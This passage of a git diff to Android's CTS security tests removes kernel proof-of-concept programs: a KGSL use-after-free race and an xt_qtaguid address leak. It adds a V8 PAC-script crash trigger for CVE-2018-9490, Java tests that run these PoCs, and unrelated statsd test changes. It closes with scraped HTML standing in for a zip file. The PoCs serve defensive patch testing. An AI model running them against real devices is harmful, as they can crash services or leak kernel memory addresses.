-void *alloc_thread(void*);
-void *free_thread(void*);
-void kgsl_poc(void);
-
-void *alloc_thread() {
- while (thread_exit) {
- allocArg.fd = -1;
- allocArg.gpuaddr = 0x0;
- allocArg.len = 4096;
- allocArg.offset = 0;
- allocArg.hostptr = (unsigned long)malloc(allocArg.len);
- allocArg.memtype = KGSL_USER_MEM_TYPE_ADDR;
- allocArg.flags = KGSL_MEMFLAGS_USERMEM_ADDR;
-
- int ret = ioctl(fd, IOCTL_KGSL_MAP_USER_MEM, &allocArg);
-
- if (ret < 0) {
- printf("Error on IOCTL_KGSL_MAP_USER_MEM - Errno %d (%s)\n", errno,
- strerror(errno));
- return NULL;
- } else if (!allocArg.gpuaddr) {
- allocArg.gpuaddr = allocArg.hostptr;
- }
-
- volatile unsigned long *pGPU = &allocArg.gpuaddr;
-
- while (*pGPU) {
- if (thread_exit)
- break;
- }
-
- free((void *)allocArg.hostptr);
- }
- return NULL;
-}
-
-void *free_thread() {
- volatile unsigned long *pGPU = &allocArg.gpuaddr;
- freeArg.gpuaddr = 0x0;
-
- while (!freeArg.gpuaddr) {
- freeArg.gpuaddr = *pGPU;
- }
-
- while (thread_exit) {
- ioctl(fd, IOCTL_KGSL_SHAREDMEM_FREE, &freeArg);
- *pGPU = 0x0;
- }
- return NULL;
-}
-
-void kgsl_poc() {
- pthread_t allocTid, freeTid;
- fd = open("/dev/kgsl-3d0", 0);
-
- if (fd < 0) {
- printf("Unable to open /dev/kgsl-3d0 - Errno %d (%s)\n", errno,
- strerror(errno));
- exit(-1);
- }
-
- pthread_create(&allocTid, NULL, alloc_thread, NULL);
- pthread_create(&freeTid, NULL, free_thread, NULL);
- pthread_join(allocTid, NULL);
- pthread_join(freeTid, NULL);
-}
-int main() {
- kgsl_poc();
- return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/Android.mk
deleted file mode 100644
index 615d39b..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-3809
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_SHARED_LIBRARIES := liblog
-
-LOCAL_CFLAGS += -Wall -Werror
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/poc.c
deleted file mode 100644
index 4f4805f..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/poc.c
+++ /dev/null
@@ -1,92 +0,0 @@
-/**
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <cutils/log.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <string.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <unistd.h>
-
-#define BUF_SIZE 2048
-
-int main() {
- int sfd, fd, ret;
- char buf[BUF_SIZE];
- char wbuf[BUF_SIZE];
-
- ret = -1;
- sfd = socket(AF_INET, SOCK_DGRAM, 0);
- if (sfd == -1) {
- perror("socket create");
- return 0;
- }
- snprintf(buf, BUF_SIZE, "/proc/self/net/xt_qtaguid/ctrl");
- fd = open(buf, O_RDWR);
- if (fd == -1) {
- perror("canot open xt_qtaguid ctrl");
- close(sfd);
- return 0;
- }
-
- /* clean all tags */
- snprintf(wbuf, BUF_SIZE - 2, "d %d %u", 0, getuid());
- ret = write(fd, wbuf, strlen(wbuf));
- if (ret < 0) {
- perror("first clean");
- goto err;
- }
-
- unsigned long long tag = ((unsigned long long)0x13371) << 32;
- /* add sock tag */
- snprintf(wbuf, BUF_SIZE - 2, "t %d %llu %u", sfd, tag, getuid());
- ret = write(fd, wbuf, strlen(wbuf));
- if (ret < 0) {
- perror("add sock tag");
- goto err;
- }
-
- ret = read(fd, buf, 22);
- if (ret < 10) {
- perror("canot read or read error");
- goto err;
- }
- buf[21] = '\0';
- char *temp = buf + 5;
- printf("sock addr: 0x%s length=%d \n", temp, (int)strlen(temp));
- short address = (short)*temp;
- printf("addres sis %d", address);
- if (address != 48) // ascii value of 0 is 48
- ALOGE("CVE-2016-3809 test case failed");
- else
- ALOGE("CVE-2016-3809 test case passed");
-
- /* clean all tags again */
- snprintf(wbuf, BUF_SIZE - 2, "d %d %u", 0, getuid());
- ret = write(fd, wbuf, strlen(wbuf));
- if (ret < 0) {
- perror("cannot clean all tags at last time");
- goto err;
- }
-
-err:
- close(sfd);
- close(fd);
- return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.mk
old mode 100755
new mode 100644
similarity index 74%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk
copy to hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.mk
index 65fe025..691d3f3
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.mk
@@ -15,22 +15,26 @@
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2015-8839
-LOCAL_SRC_FILES := poc.c
-
-LOCAL_SHARED_LIBRARIES := libcutils \
- liblog
-
+LOCAL_MODULE := CVE-2018-9490
+LOCAL_SRC_FILES := poc.cpp
LOCAL_MULTILIB := both
LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES:= \
+ $(TOP)/external/chromium-libpac/src \
+ $(TOP)/external/v8 \
+
+LOCAL_SHARED_LIBRARIES := \
+ libpac \
+ libutils \
+ libandroid_runtime \
+
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_COMPATIBILITY_SUITE := cts sts
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
+LOCAL_CPPFLAGS = -Wall -Werror
+
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp
new file mode 100644
index 0000000..242d2af
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <iostream>
+#include <utils/String8.h>
+#include <utils/String16.h>
+#include <proxy_resolver_v8.h>
+#include <proxy_resolver_js_bindings.h>
+
+android::String16 url ("");
+android::String16 host ("");
+android::String16 script(
+ "function FindProxyForURL(url, host){\n" \
+ " alert(\"enter\");\n" \
+ " let arr = [];\n" \
+ " arr[1000] = 0x1234;\n" \
+ "\n" \
+ " arr.__defineGetter__(256, function () {\n" \
+ " delete arr[256];\n" \
+ " arr.unshift(1.1);\n" \
+ " arr.length = 0;\n" \
+ " });\n" \
+ "\n" \
+ " Object.entries(arr).toString();\n" \
+ " alert(JSON.stringify(entries));\n" \
+ "\n" \
+ " return 0;\n" \
+ "}\n");
+
+class MyErrorListener : public net::ProxyErrorListener {
+ public:
+ virtual void AlertMessage(android::String16) {
+ }
+
+ virtual void ErrorMessage(android::String16) {
+ }
+};
+
+int main(void) {
+
+ net::ProxyResolverJSBindings *bindings = net::ProxyResolverJSBindings::CreateDefault();
+ MyErrorListener errorListener;
+ net::ProxyResolverV8 resolver(bindings, &errorListener);
+ android::String16 results;
+
+ resolver.SetPacScript(script);
+ resolver.GetProxyForURL(url, host, &results);
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index e11c523..1e33083 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -28,13 +28,14 @@
}
/**
- * b/27532522
+ * b/27890802
*/
@SecurityTest(minPatchLevel = "2016-07")
- public void testPocCVE_2016_3809() throws Exception {
- AdbUtils.runCommandLine("logcat -c", getDevice());
- AdbUtils.runPoc("CVE-2016-3809", getDevice(), 60);
+ public void testPocCVE_2016_3746() throws Exception {
+ AdbUtils.runCommandLine("logcat -c" , getDevice());
+ AdbUtils.runPoc("CVE-2016-3746", getDevice(), 60);
String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatches("[\\s\\n\\S]*CVE-2016-3809 test case failed[\\s\\n\\S]*", logcat);
+ assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> /system/bin/mediaserver <<<",
+ logcat);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
index 9ae9d99..3280a68 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
@@ -26,15 +26,4 @@
public void testPocCVE_2016_2471() throws Exception {
AdbUtils.runPoc("CVE-2016-2471", getDevice(), 60);
}
-
- /**
- * b/28760453
- */
- @SecurityTest(minPatchLevel = "2016-09")
- public void testPocCVE_2015_8839() throws Exception {
- AdbUtils.runCommandLine("logcat -c" , getDevice());
- AdbUtils.runPoc("CVE-2015-8839", getDevice(), 60);
- String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertMatches("[\\s\\n\\S]*fallocate result EOPNOTSUPP[\\s\\n\\S]*", logcat);
- }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
deleted file mode 100644
index f91829c..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
+++ /dev/null
@@ -1,43 +0,0 @@
-/**
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc16_10 extends SecurityTestCase {
-
- /**
- * b/30741779
- */
- @SecurityTest(minPatchLevel = "2016-10")
- public void testPocCVE_2016_3916() throws Exception {
- AdbUtils.installApk("/cve_2016_3916.apk", getDevice());
- AdbUtils.runCommandLine("logcat -c" , getDevice());
-
- AdbUtils.runCommandLine("am start -n com.trendmicro.wish_wu.camera2/" +
- "com.trendmicro.wish_wu.camera2.Camera2TestActivity", getDevice());
- Thread.sleep(10000);
- String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
- "[\\s\\n\\S]*>>> /system/bin/" +
- "mediaserver <<<[\\s\\n\\S]*", logcat);
-
- //make sure the app is uninstalled after the test
- AdbUtils.runCommandLine("pm uninstall com.trendmicro.wish_wu.camera2" , getDevice());
- }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
deleted file mode 100644
index 87f6fde..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
+++ /dev/null
@@ -1,35 +0,0 @@
-/**
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc17_05 extends SecurityTestCase {
-
- /**
- * b/34277115
- */
- @SecurityTest(minPatchLevel = "2017-05")
- public void testPocCVE_2017_0630() throws Exception {
- if (containsDriver(getDevice(), "/sys/kernel/debug/tracing/printk_formats")) {
- String commandOutput = AdbUtils.runCommandLine("cat /sys/kernel/debug/tracing" +
- "/printk_formats", getDevice());
- assertNotMatchesMultiLine(".*0x(?!0){8,16}[0-9a-fA-F]{8,16} : .*", commandOutput);
- }
- }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
index 9d7cf3a..0423b37 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
@@ -36,4 +36,13 @@
}
AdbUtils.runCommandLine("rm -rf /sdcard/Android/data/CVE-2018-9515", getDevice());
}
+
+ /**
+ * b/111274046
+ */
+ @SecurityTest
+ public void testPocCVE_2018_9490() throws Exception {
+ int code = AdbUtils.runPocGetExitStatus("/data/local/tmp/CVE-2018-9490", getDevice(), 60);
+ assertTrue(code != 139); // 128 + signal 11
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
similarity index 66%
rename from hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
rename to hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
index 14dbf6b..9e50e1e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
@@ -18,15 +18,17 @@
import android.platform.test.annotations.SecurityTest;
+import static org.junit.Assert.*;
+
@SecurityTest
-public class Poc16_08 extends SecurityTestCase {
- /**
- * b/28026365
- */
- @SecurityTest(minPatchLevel = "2016-08")
- public void testPocCVE_2016_2504() throws Exception {
- if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
- AdbUtils.runPoc("CVE-2016-2504", getDevice(), 60);
+public class Poc18_11 extends SecurityTestCase {
+
+ /**
+ * b/111330641
+ */
+ @SecurityTest(minPatchLevel = "2018-11")
+ public void testPocCVE_2018_9525() throws Exception {
+ assertTrue(AdbUtils.runCommandGetExitCode(
+ "pm dump com.android.settings | grep SliceBroadcastReceiver", getDevice()) != 0);
}
- }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
similarity index 62%
copy from hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
copy to hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
index 14dbf6b..fe85e87 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
@@ -17,16 +17,18 @@
package android.security.cts;
import android.platform.test.annotations.SecurityTest;
+import static org.junit.Assert.assertFalse;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@SecurityTest
-public class Poc16_08 extends SecurityTestCase {
- /**
- * b/28026365
- */
- @SecurityTest(minPatchLevel = "2016-08")
- public void testPocCVE_2016_2504() throws Exception {
- if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
- AdbUtils.runPoc("CVE-2016-2504", getDevice(), 60);
+public class Poc19_03 extends SecurityTestCase {
+ /**
+ * b/115739809
+ */
+ @SecurityTest(minPatchLevel = "2019-03")
+ public void testPocBug_115739809() throws Exception {
+ assertFalse(AdbUtils.runPocCheckExitCode("Bug-115739809", getDevice(), 30));
}
- }
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/statsd/PROCSTATSQ_PULL.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PULL.pbtxt
index 3e644ac..7d0820c 100644
--- a/hostsidetests/statsd/PROCSTATSQ_PULL.pbtxt
+++ b/hostsidetests/statsd/PROCSTATSQ_PULL.pbtxt
@@ -6,7 +6,8 @@
include_all: true
}
bucket: ONE_DAY
- sampling_type: ALL_CONDITION_CHANGES
+ condition: -377136895
+ sampling_type: CONDITION_CHANGE_TO_TRUE
# Normal user should have <1000
max_num_gauge_atoms_per_bucket: 2000
}
@@ -16,6 +17,34 @@
atom_id: 10029
}
}
+atom_matcher {
+ id: -1651300237
+ simple_atom_matcher {
+ atom_id: 47
+ field_value_matcher {
+ field: 2
+ eq_int: 1
+ }
+ }
+}
+atom_matcher {
+ id: -1651300236
+ simple_atom_matcher {
+ atom_id: 47
+ field_value_matcher {
+ field: 2
+ eq_int: 2
+ }
+ }
+}
+predicate {
+ id: -377136895
+ simple_predicate {
+ start: -1651300237
+ stop: -1651300236
+ count_nesting: false
+ }
+}
allowed_log_source: "AID_GRAPHICS"
allowed_log_source: "AID_INCIDENTD"
allowed_log_source: "AID_STATSD"
diff --git a/hostsidetests/statsd/PROCSTATSQ_PULL_PKG_PROC.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PULL_PKG_PROC.pbtxt
index 7e616c7..7185963 100644
--- a/hostsidetests/statsd/PROCSTATSQ_PULL_PKG_PROC.pbtxt
+++ b/hostsidetests/statsd/PROCSTATSQ_PULL_PKG_PROC.pbtxt
@@ -6,7 +6,8 @@
include_all: true
}
bucket: ONE_DAY
- sampling_type: ALL_CONDITION_CHANGES
+ condition: -377136895
+ sampling_type: CONDITION_CHANGE_TO_TRUE
# Normal user should have <1000
max_num_gauge_atoms_per_bucket: 2000
}
@@ -16,6 +17,34 @@
atom_id: 10034
}
}
+atom_matcher {
+ id: -1651300237
+ simple_atom_matcher {
+ atom_id: 47
+ field_value_matcher {
+ field: 2
+ eq_int: 1
+ }
+ }
+}
+atom_matcher {
+ id: -1651300236
+ simple_atom_matcher {
+ atom_id: 47
+ field_value_matcher {
+ field: 2
+ eq_int: 2
+ }
+ }
+}
+predicate {
+ id: -377136895
+ simple_predicate {
+ start: -1651300237
+ stop: -1651300236
+ count_nesting: false
+ }
+}
allowed_log_source: "AID_GRAPHICS"
allowed_log_source: "AID_INCIDENTD"
allowed_log_source: "AID_STATSD"
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
index 56da8da..1fade2f 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
@@ -687,6 +687,10 @@
}
}
+ protected String getProperty(String prop) throws Exception {
+ return getDevice().executeShellCommand("getprop " + prop).replace("\n", "");
+ }
+
protected void turnScreenOn() throws Exception {
getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
getDevice().executeShellCommand("wm dismiss-keyguard");
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
index 02259e0..fb3e711 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
@@ -25,8 +25,9 @@
import com.android.os.AtomsProto.AppBreadcrumbReported;
import com.android.os.AtomsProto.Atom;
import com.android.os.AtomsProto.BatterySaverModeStateChanged;
-import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.os.AtomsProto.BuildInformation;
import com.android.os.AtomsProto.ConnectivityStateChanged;
+import com.android.os.StatsLog.ConfigMetricsReportList;
import com.android.os.StatsLog.EventMetricData;
import java.util.Arrays;
@@ -392,6 +393,30 @@
assertTrue(atom.getBatteryVoltage().getVoltageMillivolt() > 0);
}
+ // This test is for the pulled battery level atom.
+ public void testBatteryLevel() throws Exception {
+ if (statsdDisabled()) {
+ return;
+ }
+ if (!hasFeature(FEATURE_WATCH, false)) return;
+ StatsdConfig.Builder config = getPulledConfig();
+ addGaugeAtomWithDimensions(config, Atom.BATTERY_LEVEL_FIELD_NUMBER, null);
+
+ uploadConfig(config);
+
+ Thread.sleep(WAIT_TIME_LONG);
+ setAppBreadcrumbPredicate();
+ Thread.sleep(WAIT_TIME_LONG);
+
+ List<Atom> data = getGaugeMetricDataList();
+
+ assertTrue(data.size() > 0);
+ Atom atom = data.get(0);
+ assertTrue(atom.getBatteryLevel().hasBatteryLevel());
+ assertTrue(atom.getBatteryLevel().getBatteryLevel() > 0);
+ assertTrue(atom.getBatteryLevel().getBatteryLevel() <= 100);
+ }
+
public void testKernelWakelock() throws Exception {
if (statsdDisabled() || !kernelWakelockStatsExist()) {
return;
@@ -453,6 +478,32 @@
}
}
+ public void testBuildInformation() throws Exception {
+ if (statsdDisabled()) {
+ return;
+ }
+
+ StatsdConfig.Builder config = getPulledConfig();
+ addGaugeAtomWithDimensions(config, Atom.BUILD_INFORMATION_FIELD_NUMBER, null);
+ uploadConfig(config);
+
+ Thread.sleep(WAIT_TIME_LONG);
+ setAppBreadcrumbPredicate();
+ Thread.sleep(WAIT_TIME_LONG);
+
+ List<Atom> data = getGaugeMetricDataList();
+ assertTrue(data.size() > 0);
+ BuildInformation atom = data.get(0).getBuildInformation();
+ assertEquals(getProperty("ro.product.brand"), atom.getBrand());
+ assertEquals(getProperty("ro.product.name"), atom.getProduct());
+ assertEquals(getProperty("ro.product.device"), atom.getDevice());
+ assertEquals(getProperty("ro.build.version.release"), atom.getVersionRelease());
+ assertEquals(getProperty("ro.build.id"), atom.getId());
+ assertEquals(getProperty("ro.build.version.incremental"), atom.getVersionIncremental());
+ assertEquals(getProperty("ro.build.type"), atom.getType());
+ assertEquals(getProperty("ro.build.tags"), atom.getTags());
+ }
+
public void testOnDevicePowerMeasurement() throws Exception {
if (!OPTIONAL_TESTS_ENABLED) return;
if (statsdDisabled()) {
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index 127dc06..4c197f3 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -282,7 +282,7 @@
Thread.sleep(WAIT_TIME_SHORT);
setAppBreadcrumbPredicate();
- Thread.sleep(WAIT_TIME_SHORT);
+ Thread.sleep(WAIT_TIME_LONG);
List<Atom> atomList = getGaugeMetricDataList();
@@ -293,8 +293,8 @@
for (Atom atom : atomList) {
if (atom.getCpuTimePerUid().getUid() == uid) {
found = true;
- assertTrue(atom.getCpuTimePerUid().getUserTimeMillis() > 0);
- assertTrue(atom.getCpuTimePerUid().getSysTimeMillis() > 0);
+ assertTrue(atom.getCpuTimePerUid().getUserTimeMicros() > 0);
+ assertTrue(atom.getCpuTimePerUid().getSysTimeMicros() > 0);
}
}
assertTrue("found uid " + uid, found);
@@ -1010,10 +1010,9 @@
assertTrue("rss_in_bytes should be positive", state.getRssInBytes() > 0);
assertTrue("cache_in_bytes should not be negative", state.getCacheInBytes() >= 0);
assertTrue("swap_in_bytes should not be negative", state.getSwapInBytes() >= 0);
- assertTrue("rss_high_watermark_in_bytes should be positive",
- state.getRssHighWatermarkInBytes() > 0);
- assertTrue("rss_high_watermark_in_bytes should not be smaller than rss_in_bytes",
- state.getRssHighWatermarkInBytes() >= state.getRssInBytes());
+ assertTrue("start_time_nanos should be positive", state.getStartTimeNanos() > 0);
+ assertTrue("start_time_nanos should be in the past",
+ state.getStartTimeNanos() < System.nanoTime());
}
assertTrue("Did not find a matching atom for uid=" + uid, found);
}
@@ -1045,10 +1044,6 @@
assertTrue("page_fault should not be negative", state.getPageFault() >= 0);
assertTrue("page_major_fault should not be negative", state.getPageMajorFault() >= 0);
assertTrue("rss_in_bytes should be positive", state.getRssInBytes() > 0);
- assertTrue("rss_high_watermark_in_bytes should be positive",
- state.getRssHighWatermarkInBytes() > 0);
- assertTrue("rss_high_watermark_in_bytes should not be smaller than rss_in_bytes",
- state.getRssHighWatermarkInBytes() >= state.getRssInBytes());
assertTrue("start_time_nanos should be positive", state.getStartTimeNanos() > 0);
assertTrue("start_time_nanos should be in the past",
state.getStartTimeNanos() < System.nanoTime());
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
index 883350e..351b1a6 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
@@ -281,6 +281,8 @@
LogUtil.CLog.d("Updating the following config:\n" + config.toString());
uploadConfig(config);
Thread.sleep(WAIT_TIME_SHORT);
+ setAppBreadcrumbPredicate();
+ Thread.sleep(WAIT_TIME_SHORT);
List<Atom> statsdData = getGaugeMetricDataList();
@@ -384,6 +386,8 @@
LogUtil.CLog.d("Updating the following config:\n" + config.toString());
uploadConfig(config);
Thread.sleep(WAIT_TIME_SHORT);
+ setAppBreadcrumbPredicate();
+ Thread.sleep(WAIT_TIME_SHORT);
List<Atom> statsdData = getGaugeMetricDataList();
diff --git a/hostsidetests/theme/assets/24/400dpi.zip b/hostsidetests/theme/assets/24/400dpi.zip
new file mode 100755
index 0000000..b76e564
--- /dev/null
+++ b/hostsidetests/theme/assets/24/400dpi.zip
@@ -0,0 +1 @@
+<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>hostsidetests/theme/assets/26/400dpi.zip - platform/cts - Git at Google</title><link rel="stylesheet" type="text/css" href="/+static/base.8PwAX-dsywmU2hx_vi_YSA.cache.css"><link rel="stylesheet" type="text/css" href="/+static/prettify/prettify.pZ5FqzM6cPxAflH0va2Ucw.cache.css"><!-- default customHeadTagPart --></head><body class="Site"><header class="Site-header"><div class="Header"><a class="Header-image" href="/"><img src="//www.gstatic.com/images/branding/lockups/2x/lockup_git_color_108x24dp.png" width="108" height="24" alt="Google Git"></a><div class="Header-menu"> <a class="Header-menuItem" href="https://accounts.google.com/AccountChooser?service=gerritcodereview&continue=https://android.googlesource.com/login/platform/cts/%2B/android-cts-8.0_r14/hostsidetests/theme/assets/26/400dpi.zip">Sign in</a> </div></div></header><div class="Site-content"><div class="Container "><div class="Breadcrumbs"><a class="Breadcrumbs-crumb" href="/?format=HTML">android</a> / <a class="Breadcrumbs-crumb" href="/platform/">platform</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/">cts</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14">android-cts-8.0_r14</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14/">.</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14/hostsidetests">hostsidetests</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14/hostsidetests/theme">theme</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14/hostsidetests/theme/assets">assets</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14/hostsidetests/theme/assets/26">26</a> / <span class="Breadcrumbs-crumb">400dpi.zip</span></div><div class="u-sha1 u-monospace BlobSha1">blob: 